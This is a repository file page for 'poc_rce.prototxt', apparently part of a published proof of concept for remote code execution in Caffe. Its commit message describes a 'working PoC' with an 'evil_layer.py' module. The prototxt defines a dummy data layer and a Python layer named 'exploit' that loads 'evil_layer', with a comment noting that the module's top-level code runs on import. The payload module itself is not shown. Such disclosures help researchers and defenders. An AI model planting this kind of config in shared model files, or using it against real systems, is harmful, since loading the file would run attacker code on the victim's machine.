caffe-pythonlayer-rce-poc / poc_rce.prototxt
xiaoyaoes's picture
Add working PoC: evil_layer.py (import-triggered RCE) + poc_rce.prototxt
0b6bf16
Raw
History Blame Contribute Delete
394 Bytes
name: "CaffePythonLayerRCE_PoC"
layer {
name: "data"
type: "DummyData"
top: "data"
dummy_data_param {
shape { dim: 1 dim: 1 dim: 1 dim: 1 }
}
}
layer {
name: "exploit"
type: "Python"
bottom: "data"
top: "output"
python_param {
# bp::import("evil_layer") — top-level code in evil_layer.py runs immediately
module: "evil_layer"
layer: "ExploitLayer"
}
}